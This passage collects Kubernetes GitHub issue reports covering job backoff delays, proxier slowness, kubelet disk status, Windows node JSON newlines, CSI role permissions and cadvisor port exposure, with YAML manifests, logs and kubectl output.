clusterip   10.0.0.120   <none>        1/tcp     36m\r svc/kubernetes                  clusterip   10.0.0.1     <none>        443/tcp   37m\r  root@localhost demo   kubectl get pod\r name           ready     status    restarts   age   \r gluster-pod2   1/1       running   0          31m\r  root@localhost demo  \r ~~~\r the subjected code path is :\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/glusterfs/glusterfs.go l150\r \r i failed to get  how come a pod namespace can become empty  or the reason for this error message.\r \r any thoughts on this ?\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r some of these could be integration tests instead of e2e tests.\r   positive + negative tests with statefulsets and pod affinity/anti-affinity\r   stress test with many pods and many volumes across all nodes\r       it might be interesting to add the static provisioner into the mix for auto-cleanup\r   negative test for multiple pvcs in a pod

 \r   what happened  :\r \r create a job that will fail many times, but eventually succeeds.\r \r after the job's pod succeeds, it takes a long time to update the job status.\r \r   what you expected to happen  :\r \r after the job's pod succeeds, the job's status is updated immediately.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a simple configmap:\r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: result\r data:\r   result: failure\r    \r \r create a job that runs a pod that fails based on the value of the configmap:\r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: testjob\r spec:\r   backofflimit: 100\r   completions: 1\r   parallelism: 1\r   template:\r     spec:\r       restartpolicy: never\r       containers:\r       - command:\r         - sh\r         - -c\r         - if   \ ${result}\  = \ failure\   ; then exit 1; fi\r         image: busybox\r         imagepullpolicy: ifnotpresent\r         name: testjob\r         env:\r         - name: result\r           valuefrom:\r             configmapkeyref:\r               name: result\r               key: result\r    \r \r let the job fail a few times\r after about a minute or so, edit the configmap and change the value of its  result  key:\r \r    \r kubectl edit cm/result\r    \r \r wait for the job to launch a pod that succeeds\r    \r kubectl get pods -w\r    \r \r wait for the job to be updated based on the success of the pod\r    \r kubectl get jobs -w\r    \r \r there is about a 5 min wait between the time the pod succeeds and the job's status is updated.\r \r   anything else we need to know?  :\r \r the job controller immediately gets a pod updated event, which results in the  enqueuecontroller  method getting called.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/job/job_controller.go l263\r \r the  enqueuecontroller  method applies a backoff based on how many times the job has been retried:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/job/job_controller.go l352-l361\r \r this seems wrong. the backoff should be applied to pod creation and not to handling an update event from an existing pod.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when using imds, kubelet reports  failed to extract vmssvmname  even when vmtype is not set:\r \r    sh\r e0301 05:30:57.515306    3124 azure_vmss_cache.go:52  failed to extract vmssvmname \ 77890k8s9010\ \r e0301 05:30:57.515306    3124 kubelet_node_status.go:79  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: not a vmss instance\r    \r \r   what you expected to happen  :\r \r azure cloud provider should assume stardard vmtype if it is not set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  kube-controller-manager.service  fails to start due to an address already being bound to port 10252.\r  --address  and  --port  flags not being used as shown as deprecated, using  --bind-address  and  --secure-port  flags. however, it is binding to  0.0.0.0:10252  - terminal copy of  journalctl -xe :\r \r    \r 0415 18:34:26.848200    3062 flags.go:27  flag: --address=\ 0.0.0.0\ \r 0415 18:34:26.848303    3062 flags.go:27  flag: --allocate-node-cidrs=\ false\ \r 0415 18:34:26.848326    3062 flags.go:27  flag: --allow-untagged-cloud=\ false\ \r 0415 18:34:26.848342    3062 flags.go:27  flag: --allow-verification-with-non-compliant-keys=\ false\ \r 0415 18:34:26.848361    3062 flags.go:27  flag: --alsologtostderr=\ false\ \r 0415 18:34:26.848379    3062 flags.go:27  flag: --attach-detach-reconcile-sync-period=\ 1m0s\ \r 0415 18:34:26.848399    3062 flags.go:27  flag: --bind-address=\ 10.240.0.11\ \r    \r \r   what you expected to happen  :\r expected behaviour of deprecated  --address  flag to not bind service to  0.0.0.0  but for ip given in  --bind-address  to be used instead.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r  unit \r description=kubernetes controller manager\r documentation=https://github.com/kubernetes/kubernetes\r \r  service \r execstart=/usr/local/bin/kube-controller-manager \\\r   --bind-address={{ hostvars inventory_hostname  'ansible_host'  }} \\\r   --cluster-cidr={{ cluster_ip }}/{{ cluster_cidr }} \\\r   --cluster-name=kubernetes \\\r   --cluster-signing-cert-file=/var/lib/kubernetes/ca.pem \\\r   --cluster-signing-key-file=/var/lib/kubernetes/ca-key.pem \\\r   --leader-elect=true \\\r   --master=http://{{ hostvars inventory_hostname  'ansible_host'  }}:8080 \\\r   --root-ca-file=/var/lib/kubernetes/ca.pem \\\r   --secure-port=10252 \\\r   --service-account-private-key-file=/var/lib/kubernetes/ca-key.pem \\\r   --service-cluster-ip-range={{ service_cluster_ip }}/{{ service_cluster_cidr }} \\\r   --v=2\r restart=on-failure\r restartsec=5\r \r  install \r wantedby=multi-user.target\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-116-generic\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r was adding automation using node output and was unable to parse json from nodes due to newline in kernel version:\r \r    \r kubectl get nodes -l \ beta.kubernetes.io/os=windows\  -o json | jq '.items | map {nodeinfo: .status.nodeinfo} '\r \r  output - notice new line\r  \r   {\r     \ nodeinfo\ : {\r       \ architecture\ : \ amd64\ ,\r       \ bootid\ : \ \ ,\r       \ containerruntimeversion\ : \ containerd://unknown\ ,\r       \ kernelversion\ : \ 10.0.17763.194\ \ ,\r       \ kubeproxyversion\ : \ v1.13.0-alpha.2\ ,\r       \ kubeletversion\ : \ v1.13.0-alpha.2\ ,\r       \ machineid\ : \ 3472k8s000\ ,\r       \ operatingsystem\ : \ windows\ ,\r       \ osimage\ : \ windows server datacenter\ ,\r       \ systemuuid\ : \ \ \r     }\r   }\r  \r    \r \r   what you expected to happen  :\r json returned from  kubectl get nodes -l \ beta.kubernetes.io/os=windows\  -o json  to be valid json  no new lines .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r winnode=\ $ kubectl get nodes -l \ beta.kubernetes.io/os=windows\  -o json | jq -rc '.items | map {nodeinfo: .status.nodeinfo}  0 ' \ \r \r echo $winnode\r  output\r {\ nodeinfo\ :{\ architecture\ :\ amd64\ ,\ bootid\ :\ \ ,\ containerruntimeversion\ :\ containerd://unknown\ ,\ kernelversion\ :\ 10.0.17763.194\r \ ,\ kubeproxyversion\ :\ v1.13.0-alpha.2\ ,\ kubeletversion\ :\ v1.13.0-alpha.2\ ,\ machineid\ :\ 3472k8s000\ ,\ operatingsystem\ :\ windows\ ,\ osimage\ :\ windows server datacenter\ ,\ systemuuid\ :\ \ }}\r \r echo \ $winnode\  | jq .\r  output\r parse error: invalid string: control characters from u+0000 through u+001f must be escaped at line 2, column 1\r    \r \r   anything else we need to know?  :\r  \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :windows server version 1809\r - kernel  e.g.  uname -a  : 10.0.17763.194\r - install tools: acs-engine master\r \r

we have 700 services.but when created a servicce for a pod ,we found the create iptables  rule was very slow.the pod usually was connected by services after 10 minutes。so i chage the code for logging the execution time。 the code at pkg/proxy/userspace/proxier.go   for i := range services {         service := &services i          glog.v 1 .infof \ muke-debug:get service: %+v\ , service           // if clusterip is \ none\  or empty, skip proxying     if !api.isserviceipset service  {         glog.v 3 .infof \ skipping service %s due to clusterip = %q\ , types.namespacedname{namespace: service.namespace, name: service.name}, service.spec.clusterip          continue     }        glog.v 1 .infof \ muke-debug:isserviceipset\        for i := range service.spec.ports {         serviceport := &service.spec.ports i          glog.v 1 .infof \ muke-debug:get port: %+v\ , serviceport          servicename := proxy.serviceportname{namespacedname: types.namespacedname{namespace: service.namespace, name: service.name}, port: serviceport.name}         activeservices servicename  = true         glog.v 1 .infof \ muke-debug:start prase ip\           serviceip := net.parseip service.spec.clusterip          glog.v 1 .infof \ muke-debug:finsih prase ip\           info, exists := proxier.getserviceinfo servicename          glog.v 1 .infof \ muke-debug:fisnish get info: %+v\ , info        i add some log.  the log as follow: i0524 16:21:23.862748   21788 proxier.go:353  muke-debug:get service: &{typemeta:{kind: apiversion:} objectmeta:{name:muke-13-1941728 generatename: namespace:muke-13 selflink:/api/v1/namespaces/muke-13/services/muke-13-1941728 uid:541fb924-20d4-11e6-aea8-0050569057b5 resourceversion:6321830 generation:0 creationtimestamp:2016-05-23 18:51:39 +0800 cst deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map version:v1 class_name:muke-13 user_id:1941728  annotations:map  } spec:{type:clusterip ports: {name:port-1 protocol:tcp port:20958 targetport:{kind:0 intval:80 strval:} nodeport:0} {name:port-2 protocol:tcp port:17771 targetport:{kind:0 intval:8000 strval:} nodeport:0}  selector:map user_id:1941728 version:v1 class_name:muke-13  clusterip:10.254.177.236 externalips:   loadbalancerip: sessionaffinity:none} status:{loadbalancer:{ingress:  }}} i0524 16:21:23.863486   21788 proxier.go:360  muke-debug:isserviceipset i0524 16:21:23.863532   21788 proxier.go:364  muke-debug:get port: &{name:port-1 protocol:tcp port:20958 targetport:{kind:0 intval:80 strval:} nodeport:0} i0524 16:21:23.863595   21788 proxier.go:367  muke-debug:start prase ip i0524 16:21:23.863609   21788 proxier.go:369  muke-debug:finsih prase ip i0524 16:22:38.885857   21788 proxier.go:371  muke-debug:fisnish get info: <nil> i0524 16:22:38.885998   21788 proxier.go:390  muke-debug:start port next i0524 16:22:38.886020   21788 proxier.go:392  muke-debug:finish port next: 0 i0524 16:22:38.886055   21788 proxier.go:398  adding new service \ muke-13/muke-13-1941728:port-1\  at 10.254.177.236:20958/tcp i0524 16:22:39.134444   21788 proxier.go:364  muke-debug:get port: &{name:port-2 protocol:tcp port:17771 targetport:{kind:0 intval:8000 strval:} nodeport:0} i0524 16:22:39.134765   21788 proxier.go:367  muke-debug:start prase ip i0524 16:22:39.134783   21788 proxier.go:369  muke-debug:finsih prase ip i0524 16:23:54.773997   21788 proxier.go:371  muke-debug:fisnish get info: <nil> i0524 16:23:54.778447   21788 proxier.go:390  muke-debug:start port next i0524 16:23:54.779744   21788 proxier.go:392  muke-debug:finish port next: 0 i0524 16:23:54.779898   21788 proxier.go:398  adding new service \ muke-13/muke-13-1941728:port-2\  at 10.254.177.236:17771/tcp i0524 16:23:54.964318   21788 proxier.go:353  muke-debug:get service: &{typemeta:{kind: apiversion:} objectmeta:{name:muke-15-2402720 generatename: namespace:muke-15 selflink:/api/v1/namespaces/muke-15/services/muke-15-2402720 uid:e0a35239-0ad7-11e6-aea8-0050569057b5 resourceversion:4987913 generation:0 creationtimestamp:2016-04-25 19:21:38 +0800 cst deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map class_name:muke-15 user_id:2402720 version:v1  annotations:map  } spec:{type:clusterip ports: {name:port-1 protocol:tcp port:24096 targetport:{kind:0 intval:80 strval:} nodeport:0} {name:port-2 protocol:tcp port:16521 targetport:{kind:0 intval:8000 strval:} nodeport:0}  selector:map user_id:2402720 version:v1 class_name:muke-15  clusterip:10.254.159.63 externalips:   loadbalancerip: sessionaffinity:none} status:{loadbalancer:{ingress:  }}} i0524 16:23:54.965449   21788 proxier.go:360  muke-debug:isserviceipset i0524 16:23:54.965487   21788 proxier.go:364  muke-debug:get port: &{name:port-1 protocol:tcp port:24096 targetport:{kind:0 intval:80 strval:} nodeport:0} i0524 16:23:54.970388   21788 proxier.go:367  muke-debug:start prase ip i0524 16:23:54.970456   21788 proxier.go:369  muke-debug:finsih prase ip i0524 16:25:09.250432   21788 proxier.go:371  muke-debug:fisnish get info: <nil> i0524 16:25:09.250713   21788 proxier.go:390  muke-debug:start port next i0524 16:25:09.250751   21788 proxier.go:392  muke-debug:finish port next: 0 i0524 16:25:09.250866   21788 proxier.go:398  adding new service \ muke-15/muke-15-2402720:port-1\  at 10.254.159.63:24096/tcp  sometimes the proxier.getserviceinfo servicename  costs two minutes.i want to slove it .could somebody can give me  an optimization method

gci test failing:  kubernetes-gci-gke-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node   https://k8s-testgrid.appspot.com/google-gke gci-gke-serial-release-1.3

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ ec7364b6e3b155e78086018aa644057edbe196e5\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ ec7364b6e3b155e78086018aa644057edbe196e5\ , gittreestate:\ clean\ }    environment  : -   cloud provider or hardware configuration  : vmware  -   os    e.g. from /etc/os-release : centos linux release 7.2.1511  core  -   kernel    e.g.  uname -a  : linux localhost.localdomain 3.10.0-327.28.3.el7.x86_64  1 smp thu aug 18 19:05:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  :manually -   others  :    what happened  : when run command kubectl create -f kubernetes-dashboard.yaml, error message from  /var/log/messages  error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: the server has asked for the client to provide credentials    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  : i edit kubernetes-dashboard.yaml  and added something  kind: deployment apiversion: extensions/v1beta1 metadata:   labels:     app: kubernetes-dashboard   name: kubernetes-dashboard   namespace: kube-system spec:   replicas: 1   selector:     matchlabels:       app: kubernetes-dashboard   template:     metadata:       labels:         app: kubernetes-dashboard     spec:       containers:       - name: kubernetes-dashboard         image: 192.168.100.20:5000/kubernetes-dashboard-amd64         imagepullpolicy: always         ports:         - containerport: 9090           protocol: tcp         args:             uncomment the following line to manually specify kubernetes api server host             if not specified, dashboard will attempt to auto discover the api server and connect             to it. uncomment only if the default does not work.           - --apiserver-host=https://192.168.6.22:6443         livenessprobe:           httpget:             path: /             port: 9090           initialdelayseconds: 30           timeoutseconds: 30         volumemounts:         - mountpath: /etc/kubernetes/pki           name: ssl-certs-kubernetes           readonly: true         - mountpath: /etc/pki           name: ssl-certs-host           readonly: true       volumes:       - hostpath:           path: /etc/kubernetes/pki         name: ssl-certs-kubernetes       - hostpath:           path: /etc/pki            name: ssl-certs-host  kind: service apiversion: v1 metadata:   labels:     app: kubernetes-dashboard   name: kubernetes-dashboard   namespace: kube-system spec:   type: nodeport   ports: - port: 80   targetport: 9090   selector:     app: kubernetes-dashboard  when i comment  \ - --apiserver-host=https://192.168.6.22:6443\ ,another error \ certificate is valid for 192.168.6.22, not 10.254.0.1\

bug report  \r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r the timestamps reported by  kubectl  are rounded down, e.g. 47 hours is reported as \ 1d\ .\r \r   what you expected to happen  :\r round to nearest, i.e. 47 hours displays as \ 2d\ \r \r   how to reproduce it    as minimally and precisely as possible :\r    \r $ kubectl run foo --image=gcr.io/google_containers/pause-amd64:3.0; sleep 110; kubectl get pods \r deployment \ foo\  created\r name                       ready     status    restarts   age\r foo-2655446836-7xk2l       1/1       running   0          1m\r    \r after 110 seconds we are told the pod is 1 minute old.\r \r   anything else we need to know  :\r believe it is  this code  https://github.com/kubernetes/kubernetes/blob/master/pkg/printers/common.go l24-l41

is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  : all\r \r it seems like cadvisor always is listening on  :::4194   the port is configurable with  --cadvisor-port  but... \r i know it's used in kubelet for various features like oom detection, detecting disk space and other necessary information. that's totally ok.\r \r however, the fact that it also listens on 0.0.0.0 makes me worried when i'm spinning up clusters. for folks that are using a cloud machine like a droplet with a public ip, it's a huge exposure.  now do just introduced firewalls, but it's a viable example anyway . anyone with the ip of any node can go and check out low-level details about how the node is doing, check out cgroups, what the node runs, etc.\r \r and the fact that _i can't_ block this with kubernetes is not great. of course i could start mocking with iptables, firewalld and/or other firewalls, but that seems sub-optimal.\r \r so my question is, what's using  <node-ip>:4194  other than heapster? could we make it possible to shut off listening to the public ip  some features might not work ?\r \r and will the new monitoring vision make the built-in cadvisor http server unnecessary?\r \r cc @kubernetes/sig-node-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests @directxman12 @vishh @fgrzadkowski @mwielgus

failure cluster  679a79064b46aae4d4b3  https://go.k8s.io/triage 679a79064b46aae4d4b3        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:225 oct  9 09:48:58.556: expect endpoints: map  , got: map netserver-0:{}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:222           failure cluster statistics: 1 tests failed,    17 jobs failed,    193 builds failed. failure stats cover 1 day time range '11 oct 2017 21:44 utc' to '12 oct 2017 21:44 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  networking granular checks: services  slow  should function for client ip based session affinity: http | 17 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-alpha-features | 33 |  12 oct 2017 20:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/20831  | | ci-kubernetes-e2e-gci-gce-slow | 30 |  12 oct 2017 20:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/11056  | | ci-kubernetes-e2e-gci-gke-slow | 27 |  12 oct 2017 20:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/11594  |   current status  https://go.k8s.io/triage 679a79064b46aae4d4b3

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r currently, the prober field in pod spec could not be updated, but we can update the prober field in controllers  statefulset/deployment... \r   what you expected to happen  :\r 1, we can dynamically modify the prober params in pod spec \r 2, when we modify the prober paras in templates of controllers, synchronously restart the prober manager and recognize the new paras of prober rules  similar to  20950 \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r kubernetes defines a set of pre-defined roles that some external components use. for example, it defines the  clusterrole   system:csi-external-provisioner  used by https://github.com/kubernetes-csi/external-provisioner\r \r although  csi-external-provisioner  and  csi-external-attacher  are now capable of fetching secrets  on behalf of csi drivers , but the predefined  clusterroles   system:csi-external-provisioner  and  system:csi-external-attacher  have not been updated to reflect that, so users encounter errors like:\r \r    \r failed to provision volume for claim \ default/csi-vlsdisk-test-pvc-101\  with storageclass \ sc1\ : error getting secret sc1 in namespace default: secrets \ sc1\  is forbidden: user \ system:serviceaccount:default:csi-controller-sa\  cannot get secrets in the namespace \ default\ : unknown user \ system:serviceaccount:default:csi-controller-sa\ \r    \r \r   what you expected to happen  :\r the pre-defined roles should include secret permissions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r  /milestone v1.13\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

ci tests for windows in gce: https://testgrid.k8s.io/google-windows windows-prototype\r the tests use the repo-list: https://raw.githubusercontent.com/e2e-win/e2e-win-prow-deployment/master/repo-list.txt\r \r failure message:\r    \r nov  9 16:59:05.529: info: waiting for pod pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6 to disappear\r nov  9 16:59:05.532: info: pod pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6 no longer exists\r nov  9 16:59:05.532: info: unexpected error occurred: expected \ mode of file \\\ /etc/secret-volume/data-1\\\ : -rw-r--r--\  in container output: expected\r     <string>: mode of windows file \ /etc/secret-volume/data-1\ : -rwx---r-x\r     content of file \ /etc/secret-volume/data-1\ : value-1\r     \r     \r to contain substring\r     <string>: mode of file \ /etc/secret-volume/data-1\ : -rw-r--r--\r    \r \r the output differs from the expected string with an additional \ windows\  string as well as different file permissions.\r \r related events:\r    \r nov  9 16:59:05.535: info: at 2018-11-09 16:56:16 +0000 utc - event for pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6: {default-scheduler } scheduled: successfully assigned e2e-tests-secrets-t24tf/pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6 to e2e-86-be9ce-minion-windows-group-mvxb\r nov  9 16:59:05.535: info: at 2018-11-09 16:57:23 +0000 utc - event for pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6: {kubelet e2e-86-be9ce-minion-windows-group-mvxb} pulled: container image \ e2eteam/mounttest:1.0\  already present on machine\r nov  9 16:59:05.535: info: at 2018-11-09 16:57:24 +0000 utc - event for pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6: {kubelet e2e-86-be9ce-minion-windows-group-mvxb} created: created container\r nov  9 16:59:05.535: info: at 2018-11-09 16:57:34 +0000 utc - event for pod-secrets-5f43d8aa-e440-11e8-a360-0a580a3c99f6: {kubelet e2e-86-be9ce-minion-windows-group-mvxb} started: started container\r    \r \r according to @patricklang, \ those privileges are more or less the same for a file so i think we should address it as we work to make that test more os-independent. that test case is relying on a build of busybox to make a best guess at what a unix permission would be based off a windows acl. windows doesn't have an execute permission that could apply to a file\ \r \r \r @kubernetes/sig-windows-misc \r /cc @patricklang @adelina-t \r /cc @pjh\r

what happened  :\r worker node reported outofdisk space status when it appears plenty of space was available.\r \r below is the  kubectl describe node  showing the transition time was sat, 15 dec 2018 14:44:01\r    \r outofdisk        false   mon, 17 dec 2018 09:11:24 -0500   sat, 15 dec 2018 14:44:01 -0500   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   mon, 17 dec 2018 09:11:24 -0500   sat, 15 dec 2018 14:44:01 -0500   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   mon, 17 dec 2018 09:11:24 -0500   sat, 15 dec 2018 14:44:01 -0500   kubelethasnodiskpressure     kubelet has no disk pressure\r    \r \r reviewing the kubelet logs on that host it appears to be reporting ample amount of space at that time:\r \r    \r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458336   10267 helpers.go:840  eviction manager: observations: signal=nodefs.inodesfree, available: 104784331, capacity: 104856384, time: 2018-12-15 14:44:01.443961533 -0500 est m=+1035337.335369630\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458385   10267 helpers.go:840  eviction manager: observations: signal=imagefs.available, available: 235237284ki, capacity: 309504832ki, time: 2018-12-15 14:44:01.443961533 -0500 est m=+1035337.335369630\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458394   10267 helpers.go:840  eviction manager: observations: signal=imagefs.inodesfree, available: 19659524, capacity: 19200ki, time: 2018-12-15 14:44:01.443961533 -0500 est m=+1035337.335369630\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458400   10267 helpers.go:840  eviction manager: observations: signal=pid.available, available: 64914, capacity: 64ki, time: 2018-12-15 14:44:01.457710222 -0500 est m=+1035337.349118244\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458407   10267 helpers.go:840  eviction manager: observations: signal=memory.available, available: 41292464ki, capacity: 49295348ki, time: 2018-12-15 14:44:01.443961533 -0500 est m=+1035337.335369630\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458415   10267 helpers.go:840  eviction manager: observations: signal=allocatablememory.available, available: 46779628ki, capacity: 49295348ki, time: 2018-12-15 14:44:01.458210542 -0500 est m=+1035337.349618568\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458424   10267 helpers.go:840  eviction manager: observations: signal=nodefs.available, available: 85200416ki, capacity: 104846172ki, time: 2018-12-15 14:44:01.443961533 -0500 est m=+1035337.335369630\r dec 15 14:44:01 ip-1-70-237-11.dob1.bcpc.bloomberg.com kubelet 10267 : i1215 14:44:01.458472   10267 eviction_manager.go:336  eviction manager: no resources are starved\r    \r   what you expected to happen  :\r \r provide in the kubelet logs a more detailed description of what is out of disk space at the time of setting the status.  additionally the information should also appear as an event in  kubectl describe node .  given the above logs it would appear this is a false alarm, but without further logging it's hard to say that conclusively.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r unclear, this appears to happen randomly on our k8s cluster.\r \r   anything else we need to know?  :\r we do not see evictions from this message.  \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.5\r - cloud provider or hardware configuration: hardware\r - os  e.g. from /etc/os-release : rhel 7.3\r - kernel  e.g.  uname -a  :  3.10.0-514.6.1.el7.x86_64\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r pod was scheduled on newly created node with condition ready equal to false.\r   what you expected to happen  :\r pod shouldn't be scheduled until ready condition is true.\r   how to reproduce it  as minimally and precisely as possible   :\r run cluster with cluster autoscaler enabled. add pod which needs to scale up cluster.\r watch nodes and pods objects when new node is added. \r   anything else we need to know?  :\r scheduler is not using conditions anymore but it uses taints instead  like node.kubernetes.io/not-ready  which are not added when kubelet registers node for the  first time:\r https://github.com/kubernetes/kubernetes/blob/2b96a6074243cf39293fc294b20d3b8c97d3daca/pkg/kubelet/kubelet_node_status.go l211\r after some time taints are added but pod can be already scheduled. \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.3-gke.1\r - cloud provider or hardware configuration: gke\r \r \r <!-- do not edit below this line -->\r 

